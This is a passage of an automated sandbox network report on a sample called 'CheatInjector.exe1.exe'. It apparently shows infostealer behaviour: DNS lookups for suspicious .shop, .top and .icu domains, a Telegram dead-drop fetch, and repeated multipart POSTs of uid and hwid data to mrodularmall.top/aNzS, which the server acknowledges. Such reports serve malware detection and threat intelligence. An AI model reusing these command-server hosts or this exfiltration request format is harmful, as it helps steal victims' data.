Mar 13, 2025 13:39:42.034790993 CET	59264	53	192.168.2.5	1.1.1.1
Mar 13, 2025 13:39:42.047362089 CET	53	59264	1.1.1.1	192.168.2.5
Mar 13, 2025 13:40:03.392030001 CET	52554	53	192.168.2.5	1.1.1.1
Mar 13, 2025 13:40:03.418191910 CET	53	52554	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 13, 2025 13:39:39.422466993 CET	192.168.2.5	1.1.1.1	0x9af	Standard query (0)	t.me	A (IP address)	IN (0x0001)	false
Mar 13, 2025 13:39:41.960203886 CET	192.168.2.5	1.1.1.1	0x97ac	Standard query (0)	menuedgarli.shop	A (IP address)	IN (0x0001)	false
Mar 13, 2025 13:39:41.977720976 CET	192.168.2.5	1.1.1.1	0x9057	Standard query (0)	featureccus.shop	A (IP address)	IN (0x0001)	false
Mar 13, 2025 13:39:42.034790993 CET	192.168.2.5	1.1.1.1	0x6005	Standard query (0)	mrodularmall.top	A (IP address)	IN (0x0001)	false
Mar 13, 2025 13:40:03.392030001 CET	192.168.2.5	1.1.1.1	0x131e	Standard query (0)	jowinjoinery.icu	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 13, 2025 13:39:39.429236889 CET	1.1.1.1	192.168.2.5	0x9af	No error (0)	t.me		149.154.167.99	A (IP address)	IN (0x0001)	false
Mar 13, 2025 13:39:41.969345093 CET	1.1.1.1	192.168.2.5	0x97ac	Name error (3)	menuedgarli.shop	none	none	A (IP address)	IN (0x0001)	false
Mar 13, 2025 13:39:42.033159018 CET	1.1.1.1	192.168.2.5	0x9057	Name error (3)	featureccus.shop	none	none	A (IP address)	IN (0x0001)	false
Mar 13, 2025 13:39:42.047362089 CET	1.1.1.1	192.168.2.5	0x6005	No error (0)	mrodularmall.top		104.21.32.1	A (IP address)	IN (0x0001)	false
Mar 13, 2025 13:39:42.047362089 CET	1.1.1.1	192.168.2.5	0x6005	No error (0)	mrodularmall.top		104.21.64.1	A (IP address)	IN (0x0001)	false
Mar 13, 2025 13:39:42.047362089 CET	1.1.1.1	192.168.2.5	0x6005	No error (0)	mrodularmall.top		104.21.16.1	A (IP address)	IN (0x0001)	false
Mar 13, 2025 13:39:42.047362089 CET	1.1.1.1	192.168.2.5	0x6005	No error (0)	mrodularmall.top		104.21.96.1	A (IP address)	IN (0x0001)	false
Mar 13, 2025 13:39:42.047362089 CET	1.1.1.1	192.168.2.5	0x6005	No error (0)	mrodularmall.top		104.21.48.1	A (IP address)	IN (0x0001)	false
Mar 13, 2025 13:39:42.047362089 CET	1.1.1.1	192.168.2.5	0x6005	No error (0)	mrodularmall.top		104.21.80.1	A (IP address)	IN (0x0001)	false
Mar 13, 2025 13:39:42.047362089 CET	1.1.1.1	192.168.2.5	0x6005	No error (0)	mrodularmall.top		104.21.112.1	A (IP address)	IN (0x0001)	false
Mar 13, 2025 13:40:03.418191910 CET	1.1.1.1	192.168.2.5	0x131e	No error (0)	jowinjoinery.icu		188.114.96.3	A (IP address)	IN (0x0001)	false
Mar 13, 2025 13:40:03.418191910 CET	1.1.1.1	192.168.2.5	0x131e	No error (0)	jowinjoinery.icu		188.114.97.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

t.me

mrodularmall.top

jowinjoinery.icu

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49710	149.154.167.99	443	8808	C:\Users\user\Desktop\CheatInjector.exe1.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 12:39:41 UTC	61	OUT	GET /asdawfq HTTP/1.1 Connection: Keep-Alive Host: t.me
2025-03-13 12:39:41 UTC	512	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 13 Mar 2025 12:39:41 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12330 Connection: close Set-Cookie: stel_ssid=f7cc2ea85f50737ed6_13217867172911469510; expires=Fri, 14 Mar 2025 12:39:41 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2025-03-13 12:39:41 UTC	12330	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 61 73 64 61 77 66 71 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e 64 6f 77 2e 70 61 72 65 6e Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @asdawfq</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){window.paren

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49712	104.21.32.1	443	8808	C:\Users\user\Desktop\CheatInjector.exe1.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 12:39:43 UTC	265	OUT	POST /aNzS HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 65 Host: mrodularmall.top
2025-03-13 12:39:43 UTC	65	OUT	Data Raw: 75 69 64 3d 39 39 63 61 32 32 63 66 35 64 39 31 33 32 65 62 39 63 34 39 37 31 39 36 64 61 31 63 65 62 34 32 35 34 63 61 35 64 30 64 39 64 31 33 65 32 30 33 30 32 33 61 32 34 39 65 26 63 69 64 3d Data Ascii: uid=99ca22cf5d9132eb9c497196da1ceb4254ca5d0d9d13e203023a249e&cid=
2025-03-13 12:39:44 UTC	782	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 12:39:44 GMT Content-Type: application/octet-stream Content-Length: 14134 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HixjVUOVWL3ABC8lAcSfoHuOuNZejbM16MJoUmTYUsmTE5%2FLxMHNbkbqNaOkCg0mWZ9ZebLy%2F3jwxQsDU0xTsJ%2BcZwyOuzo3DnWavcl0xHJ9ooTO80wlcmKAn1pZy2bvjWdK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 91fb98825f398df7-MIA alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=55908&min_rtt=45526&rtt_var=14082&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2839&recv_bytes=966&delivery_rate=73744&cwnd=252&unsent_bytes=0&cid=ec6d59a320688fea&ts=930&x=0"
2025-03-13 12:39:44 UTC	1369	IN	Data Raw: 13 c9 94 3f 3b 6b aa f7 3f 8e be 60 b9 52 37 56 78 9f 9c 2e cc 0a 18 54 f1 47 bd 3e 4b db bb b6 8e 20 db b1 84 ea 6f 93 e0 6d 35 6b dc 1e 61 41 05 63 ff 92 71 cb c8 5b 21 8f 35 ef bc 4d 8f 6f e6 3e 48 d5 b0 69 68 0d 89 b0 69 92 d9 22 2b 6a 69 ad 49 40 3a 1a d7 e2 be 03 52 10 38 d9 76 b8 b6 9e 88 49 02 09 e3 c0 81 99 51 e8 37 fd 67 46 58 a5 cc 4e a2 9f b7 3e a4 b1 0d ad 1b a1 d4 7f c0 e2 46 74 dc 7a 53 39 b0 b6 47 ee fa 00 69 4f 62 d5 60 e1 ef c7 80 b8 bb 46 e9 b8 f1 c3 24 70 0f 77 36 bd 9b aa 2c ce 84 a7 0b 54 e3 44 0c 5d 81 13 00 08 25 3b 03 4d cd d2 89 c7 55 d0 8c 11 47 8b d9 da 9b f5 3c 1d 0d b6 ec 6b 6a cb fc d1 cc cd 18 e4 c3 24 1d dc 2a d6 f7 26 61 d3 b9 b3 03 b9 c8 5f 53 52 0f 5f 59 60 67 29 41 32 f5 bb 6e bf ef 7a de 34 a2 46 b1 6d 9f 06 a6 f0 ca Data Ascii: ?;k?`R7Vx.TG>K om5kaAcq[!5Mo>Hihi"+jiI@:R8vIQ7gFXN>FtzS9GiOb`F$pw6,TD]%;MUG<kj$*&a_SR_Y`g)A2nz4Fm
2025-03-13 12:39:44 UTC	1369	IN	Data Raw: 5a 46 d8 ce 72 3b 76 73 f2 88 ab 02 9c fc af 39 2e 23 26 62 de 77 32 56 85 af 4e cf 6e 5f 2b 2f 53 d1 fa f5 d2 a7 ef 5d 16 26 43 11 e1 2f b3 02 53 d9 c1 5d 85 81 27 ea 15 1a 37 79 88 a9 e4 7f 6d 13 2a 85 fa 58 20 a3 85 b5 96 33 a4 36 9a a2 3a 34 40 48 c3 b6 2e 49 90 39 ce ad db 83 75 9d 8b a7 be 16 70 d9 71 18 a1 05 2d e3 b0 fc e8 63 b1 51 30 81 9c a4 f0 80 9f f5 e4 b0 e3 7e 6e aa 95 bb 69 7a 12 d7 48 b4 31 98 3d 5b 61 c3 e1 55 56 2f 79 fe ba e7 e2 e1 6c 81 c7 5a 6b fe 8c de 91 5c 7d c4 ed d1 7f ff 20 5a 9e 19 cd 15 0c 7f a4 1c 2c 04 ed b9 5a cd 16 6f f3 8e 06 42 64 f3 da 12 05 6e b5 54 31 70 51 7e 57 11 c3 89 50 c5 25 6f b9 23 2f a3 d0 7f 1e b9 b1 f1 df cf 20 aa 80 f3 13 17 e7 09 2b 4e 4a 36 93 eb b3 06 96 28 d8 3a da 0b ac 25 fd fb 8c c0 cd c3 55 15 42 Data Ascii: ZFr;vs9.#&bw2VNn_+/S]&C/S]'7ym*X 36:4@H.I9upq-cQ0~nizH1=[aUV/ylZk\} Z,ZoBdnT1pQ~WP%o#/ +NJ6(:%UB
2025-03-13 12:39:44 UTC	1369	IN	Data Raw: 0f 4d 4d db e3 a0 ee e9 c0 ed 60 09 8a ca 68 fe 00 9b e3 41 a4 13 1d 21 df a2 84 21 61 e8 1e 3d 8c f8 5e 38 2f 9c 47 e0 a3 82 ed f1 17 86 01 d5 00 03 38 d6 4a d7 4d ab 15 38 04 a9 e2 85 ee 63 23 89 a5 32 41 95 8a b2 e5 28 1e 53 df 7e ca 53 6f b1 0b 75 9a 66 ff be b9 c4 b6 6d 8c fa 08 5d 80 15 77 36 76 c1 c9 9a 88 39 6e 91 fa 7d 74 82 52 89 d5 7b 51 54 4a f0 ff fb a2 77 07 a7 ff b4 25 49 6d 63 87 72 ca 34 be 8b c8 cf cc 38 66 15 8c 90 5f 5c 44 6a bb 71 2c 15 74 92 76 2b 8d cc 03 11 17 3d 57 2e 65 30 42 0a a5 39 2e 54 a0 34 3a 11 f2 3d 6f 15 b0 83 58 40 0a e0 73 8c f8 49 c1 c0 79 2a e6 62 6e 58 09 98 ad 0c bb 06 10 4d 73 18 d4 6a 94 be fa dd db d6 99 7a ad 15 71 54 92 19 36 0e b4 b8 0a 8b fe 0d be c6 2f 73 91 fd ad 94 8d 11 c6 53 45 75 e3 9c a0 69 f3 1b 71 Data Ascii: MM`hA!!a=^8/G8JM8c#2A(S~Soufm]w6v9n}tR{QTJw%Imcr48f_\Djq,tv+=W.e0B9.T4:=oX@sIy*bnXMsjzqT6/sSEuiq
2025-03-13 12:39:44 UTC	1369	IN	Data Raw: 93 8d 7d 7e 66 81 e2 a7 62 d2 bb a6 15 0e 34 49 e2 3f 3e 34 cd 20 d0 96 9b 47 b1 1c fe 6c ea e1 ec a9 37 9f 77 58 b8 f7 ab 4d a0 e6 7d e9 c4 1e d0 35 e0 21 9c 3d 7e 6a 09 e1 87 05 31 ea 4d 69 ed 7d 8a 10 8f cc 75 ad 21 b4 05 8b 6c c7 8c 1e bc 61 32 52 6b 46 b2 03 27 c8 cf b9 9e 81 3a e8 d9 93 89 4d df 9b 21 b4 52 35 13 f0 f9 ca 3b 9c bc 40 c7 ee d6 c2 45 f6 d5 db e4 97 f2 9a d8 ce 5f 12 4a 96 a4 28 1c c2 82 0b fc cb 1e 4b 56 dd 8f 1d 0d 1a 48 92 6c e6 8b c1 af 23 5d db 19 1e e7 a4 17 3a 5a b2 7f 8f a0 b0 9a 3d 22 14 02 73 84 06 61 0f cc 5a 19 26 54 6c 60 00 c2 80 be 84 0e 9a 19 dc 41 52 dd 04 ec 20 0a 92 78 fa 17 74 cb 2f ed 53 3c d5 cd 12 7c a1 df 5d 89 b5 f3 5b 0a 21 03 a8 e2 86 5f 82 bf b5 47 a9 48 0c 29 29 c8 24 9d b3 4b ff fe 4a e5 7b b7 de ca 34 f3 Data Ascii: }~fb4I?>4 Gl7wXM}5!=~j1Mi}u!la2RkF':M!R5;@E_J(KVHl#]:Z="saZ&Tl`AR xt/S<\|][!_GH))$KJ{4
2025-03-13 12:39:44 UTC	1369	IN	Data Raw: a7 99 24 a2 11 8a bd 30 8d 85 a8 be 14 ed 5e 49 b4 cd e7 07 aa 2f 2e 4e b1 8e 1a 6f 75 d7 6e e9 22 ed 45 12 a7 c8 af 86 d0 19 5e 04 66 e4 05 d4 86 35 34 d4 af 43 0a 4d b5 59 46 a7 90 ef 24 cd 95 d2 b2 75 41 0e f9 5b 53 e6 98 fb 53 db 45 9b 1a ad cd a9 2c 88 2d 63 29 ce 8f 4c 4a ca a3 01 5d 1f d6 85 b9 e5 83 7e 3b 48 71 aa 07 ab 15 2f 25 96 da f1 a2 02 0e a9 bb 13 ef a2 df 85 2f 91 1c 92 32 4c da 25 b6 41 7f 41 b5 b7 28 11 e1 c3 f0 99 6f fc 56 60 54 4d 0f 25 61 b8 f4 cc 20 0b ed 12 61 00 1f e1 56 bd d7 1f 6e d2 9e c6 5f 0f 7d 79 5d 9b d5 86 84 33 db b8 77 7a d4 d3 c0 5c 38 b1 b2 57 4b 90 65 19 45 73 06 21 f1 20 21 08 b3 9f 29 1a b9 7c 13 28 bc 00 72 70 51 d4 17 bc c4 ea 42 fb c9 a1 51 75 6e e0 30 56 b9 13 68 2c 6a 58 e0 52 0e 87 4f fd 19 d7 f7 44 9a 7c df Data Ascii: $0^I/.Noun"E^f54CMYF$uA[SSE,-c)LJ]~;Hq/%/2L%AA(oV`TM%a aVn_}y]3wz\8WKeEs! !)\|(rpQBQun0Vh,jXROD\|
2025-03-13 12:39:44 UTC	1369	IN	Data Raw: f3 01 1a 58 00 6e 65 8f b1 16 07 40 87 1a 9d d3 83 29 54 c9 01 0d c9 32 af df af 8f ef c8 4a 84 ca f7 51 3d 4a ff 11 d9 f3 ef 04 24 cb ef b3 ad c0 77 2b 2e 31 55 c0 1a 60 68 5b 9d fa 5a bd fc 15 ab 41 7e bf 73 ad 75 f6 a8 88 0b d1 15 d6 6f 32 b4 43 ae 70 f3 ac a8 c1 d0 c3 41 92 c6 74 56 e0 ee 98 dd 79 9e ba 3e 19 8f 58 45 5e 1f 40 2e f7 d2 9b 00 7a 27 da 4f 1d 7d 58 29 f1 55 2c eb 91 5d 46 73 18 21 e8 b5 75 ed 60 e0 c0 18 d6 1f 8f a2 a0 65 13 03 e2 a6 80 74 c9 bc d7 73 35 8e 27 2c 1e be a2 9b be 85 5e f2 79 98 4b e4 0f f8 25 e5 9f a6 9c 4e b6 af 3f 8d 46 d8 5e ac 68 7a db 82 e3 fc 09 62 14 22 a1 b7 d5 44 d9 0f 9d 27 a3 25 e2 24 b2 71 e0 12 9f a3 e8 60 ee ab 08 8a 35 44 1f 98 7f 1d 7b 57 56 b4 dd 9b de 7b f1 af af 0f fb c6 1b 02 fe e7 f5 7d 6b 61 60 e6 c9 Data Ascii: Xne@)T2JQ=J$w+.1U`h[ZA~suo2CpAtVy>XE^@.z'O}X)U,]Fs!u`ets5',^yK%N?F^hzb"D'%$q`5D{WV{}ka`
2025-03-13 12:39:44 UTC	1369	IN	Data Raw: 65 8b d8 1b ff c2 df df d2 8a e0 13 47 b7 10 92 1d 7c 60 cf 91 7d 12 6c e1 6b 51 e9 51 76 d2 c3 e3 46 fd 51 b0 2a fa 91 0c c7 4e fb 75 00 66 43 9d f6 8f e8 56 26 f0 a8 a9 03 fe 80 1f 3d 44 1c 71 e1 90 72 83 11 f2 da 84 46 bc bc f7 05 0f 62 f5 22 09 f4 6d 8d f0 66 1d 29 5f 2a 06 55 d0 5e ed 09 b2 a3 7e 01 73 f0 c1 29 cb 77 66 32 68 64 cb ff d2 cb 73 76 42 c6 8f 43 8f 3a 2a 6a 10 8d 5f 99 b1 38 d0 1c 0c 1d e8 1f 6a a8 49 2a e8 81 5a 14 d7 18 ef 95 57 53 5e 51 24 ae 44 6c 05 01 5f 4d 34 a2 74 08 4a bf 4f cf b3 ec 8d a4 01 7e 12 d3 26 06 e8 aa 2a 95 31 04 df 57 d7 eb 54 e8 2b c6 85 a8 7d 15 3e 4d e0 f2 1b c8 3d 56 f1 39 9b cb b2 69 df d1 85 7d bb 87 14 08 94 81 7a 91 1e 8c 55 40 5a 4c 59 db cc e9 8f 10 27 48 61 84 a8 24 b8 60 f5 61 1f 08 82 30 1b 2d 6c a3 93 Data Ascii: eG\|`}lkQQvFQNufCV&=DqrFb"mf)_U^~s)wf2hdsvBC:j_8jIZWS^Q$Dl_M4tJO~&*1WT+}>M=V9i}zU@ZLY'Ha$`a0-l
2025-03-13 12:39:44 UTC	1369	IN	Data Raw: 9e fd 09 75 ed 2d 44 cf 96 40 47 8a f5 a5 a9 70 f4 15 4c bc 7b 04 bf 4e 81 81 89 6d 58 1c 27 14 48 df da e8 46 03 77 8f 2a bf 4b 74 04 0d 3a fd 1b 8d 8a 5f ce 11 d0 a4 76 04 0e 93 7a e6 b9 14 00 03 e6 17 d5 dc 43 f8 85 c7 c9 6f 8a 87 00 95 ec 2b 3c 7a b8 5f 73 b2 d4 25 78 90 a6 06 77 73 fa 5f ad 33 0c a2 1c 87 56 48 71 fc 50 c7 02 8e 26 fd 33 09 ea 93 cf fe 5b 2f f0 bf 5f 5b 32 30 51 e5 e0 a6 62 5b c7 4c 5a e1 04 47 d0 50 dd 29 fe 8b c3 ae 3c dc ca c3 64 65 4c 99 0a a0 2f f7 04 2d 31 3d be 22 4f 75 32 1e 35 76 17 e4 ab bc 35 45 df ba cc 28 77 59 e6 dc 5f bb e6 33 09 cd 4b 60 fd 43 ad 54 57 5d 30 44 8c 27 8e c7 64 14 8f c8 f5 86 1d 56 0d 76 20 cb 89 96 9a 92 f0 e3 77 14 c9 b4 76 e2 7b dc 1d d3 45 bf 85 ce 71 66 06 7c 08 a4 cc bd ba bc 5c 33 f2 c9 18 4c 9d Data Ascii: u-D@GpL{NmX'HFw*Kt:_vzCo+<z_s%xws_3VHqP&3[/_[20Qb[LZGP)<deL/-1="Ou25v5E(wY_3K`CTW]0D'dVv wv{Eqf\|\3L
2025-03-13 12:39:44 UTC	1369	IN	Data Raw: fe 06 0d 32 47 ed b1 f0 80 96 f3 1b 2d 39 20 e8 84 bb 6e db b7 e9 54 97 e3 d6 8f 23 ca 8a 7f 53 ca 2d 20 3d 9e 90 78 b9 97 88 69 89 e2 e7 07 f5 ec ba 21 9a d4 65 2d 7d d4 5d 86 c8 d0 bd 51 16 00 19 4c 64 c5 fc 5e 86 17 9b c6 45 dc b2 ec 68 e6 92 5e 61 0c 1e d6 06 a2 30 b1 6b 76 5e 80 c1 d3 45 5a 70 bd 7b f4 fc d9 a1 c3 71 a4 5b b2 89 5a 13 f6 9c 57 66 18 7b df 43 4e fa 7d d9 64 96 52 b6 e5 cc ad 36 f3 65 06 aa 07 b3 d7 34 da 65 87 f8 c9 26 74 a2 96 f1 39 42 30 fe 52 d2 a4 ee 52 aa fc 45 f2 53 80 56 6b d3 27 9b 18 49 14 27 ef c0 e4 96 36 66 61 aa 28 99 83 bc 35 cb 60 36 29 8e 6b cd 69 a0 83 62 f0 54 0a db c5 74 03 23 f4 e4 d8 5c 33 cf 15 2c 29 78 e2 78 e0 f0 84 42 c6 ac be 82 0d bb f6 d6 e7 05 b8 1d bf 8a c8 dd cb 96 4f 24 95 01 b6 9f d0 55 af 51 ab 1e 41 Data Ascii: 2G-9 nT#S- =xi!e-}]QLd^Eh^a0kv^EZp{q[ZWf{CN}dR6e4e&t9B0RRESVk'I'6fa(5`6)kibTt#\3,)xxBO$UQA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49714	104.21.32.1	443	8808	C:\Users\user\Desktop\CheatInjector.exe1.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 12:39:46 UTC	282	OUT	POST /aNzS HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=T4kXkKY722BY8I5ua User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 14932 Host: mrodularmall.top
2025-03-13 12:39:46 UTC	14932	OUT	Data Raw: 2d 2d 54 34 6b 58 6b 4b 59 37 32 32 42 59 38 49 35 75 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 69 64 22 0d 0a 0d 0a 39 39 63 61 32 32 63 66 35 64 39 31 33 32 65 62 39 63 34 39 37 31 39 36 64 61 31 63 65 62 34 32 35 34 63 61 35 64 30 64 39 64 31 33 65 32 30 33 30 32 33 61 32 34 39 65 0d 0a 2d 2d 54 34 6b 58 6b 4b 59 37 32 32 42 59 38 49 35 75 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 54 34 6b 58 6b 4b 59 37 32 32 42 59 38 49 35 75 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 Data Ascii: --T4kXkKY722BY8I5uaContent-Disposition: form-data; name="uid"99ca22cf5d9132eb9c497196da1ceb4254ca5d0d9d13e203023a249e--T4kXkKY722BY8I5uaContent-Disposition: form-data; name="pid"2--T4kXkKY722BY8I5uaContent-Disposition: form-data; name="h
2025-03-13 12:39:47 UTC	823	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 12:39:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PqT7cpw%2BE%2BBz38S%2BGOM9K2haSu5cyENGLOXW0hWyn6gzGowqDFgGJFpGo%2FrLatq9yjmwt3t%2Bbuqu8vtTVFBB9AJ0FFo2pBHvLDZl8Jb1zDolJ9IGOO85VeR%2Fg5rM1%2FWMUcMy"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 91fb9892eff5b885-MIA alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=56435&min_rtt=47393&rtt_var=17699&sent=11&recv=19&lost=0&retrans=0&sent_bytes=2838&recv_bytes=15872&delivery_rate=78718&cwnd=252&unsent_bytes=0&cid=042c580735556c5f&ts=1018&x=0"
2025-03-13 12:39:47 UTC	75	IN	Data Raw: 34 35 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 7b 22 6d 65 73 73 61 67 65 22 3a 22 6d 65 73 73 61 67 65 20 73 75 63 63 65 73 73 20 64 65 6c 69 76 65 72 79 20 66 72 6f 6d 20 31 37 32 2e 35 39 2e 31 30 36 2e 32 33 22 7d 7d 0d 0a Data Ascii: 45{"success":{"message":"message success delivery from 172.59.106.23"}}
2025-03-13 12:39:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49715	104.21.32.1	443	8808	C:\Users\user\Desktop\CheatInjector.exe1.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 12:39:49 UTC	278	OUT	POST /aNzS HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=jdl4y62qK1TJ9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15061 Host: mrodularmall.top
2025-03-13 12:39:49 UTC	15061	OUT	Data Raw: 2d 2d 6a 64 6c 34 79 36 32 71 4b 31 54 4a 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 75 69 64 22 0d 0a 0d 0a 39 39 63 61 32 32 63 66 35 64 39 31 33 32 65 62 39 63 34 39 37 31 39 36 64 61 31 63 65 62 34 32 35 34 63 61 35 64 30 64 39 64 31 33 65 32 30 33 30 32 33 61 32 34 39 65 0d 0a 2d 2d 6a 64 6c 34 79 36 32 71 4b 31 54 4a 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 6a 64 6c 34 79 36 32 71 4b 31 54 4a 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 33 35 32 Data Ascii: --jdl4y62qK1TJ9Content-Disposition: form-data; name="uid"99ca22cf5d9132eb9c497196da1ceb4254ca5d0d9d13e203023a249e--jdl4y62qK1TJ9Content-Disposition: form-data; name="pid"2--jdl4y62qK1TJ9Content-Disposition: form-data; name="hwid"3352
2025-03-13 12:39:50 UTC	819	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 12:39:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fDM%2Bwg2Kpz4H9MbdIrC6wUQwNlWIOyf9CP8W7aIjx%2BK8wmBmSsH956w8W%2BLmB1IKDm6ZpXBhcj2XwE0rixMAzE%2FYyJanqnmgHChY%2FBQijmR4aQxv9kHTKnpFQNzLRMtVh4pU"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 91fb98a9df8f288a-MIA alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=51282&min_rtt=49836&rtt_var=13027&sent=11&recv=19&lost=0&retrans=0&sent_bytes=2839&recv_bytes=15997&delivery_rate=71020&cwnd=252&unsent_bytes=0&cid=6ad8a67780968094&ts=1038&x=0"
2025-03-13 12:39:50 UTC	75	IN	Data Raw: 34 35 0d 0a 7b 22 73 75 63 63 65 73 73 22 3a 7b 22 6d 65 73 73 61 67 65 22 3a 22 6d 65 73 73 61 67 65 20 73 75 63 63 65 73 73 20 64 65 6c 69 76 65 72 79 20 66 72 6f 6d 20 31 37 32 2e 35 39 2e 31 30 36 2e 32 33 22 7d 7d 0d 0a Data Ascii: 45{"success":{"message":"message success delivery from 172.59.106.23"}}
2025-03-13 12:39:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49716	104.21.32.1	443	8808	C:\Users\user\Desktop\CheatInjector.exe1.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 12:39:53 UTC	275	OUT	POST /aNzS HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=0QqQwmHCaV User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20535 Host: mrodularmall.top
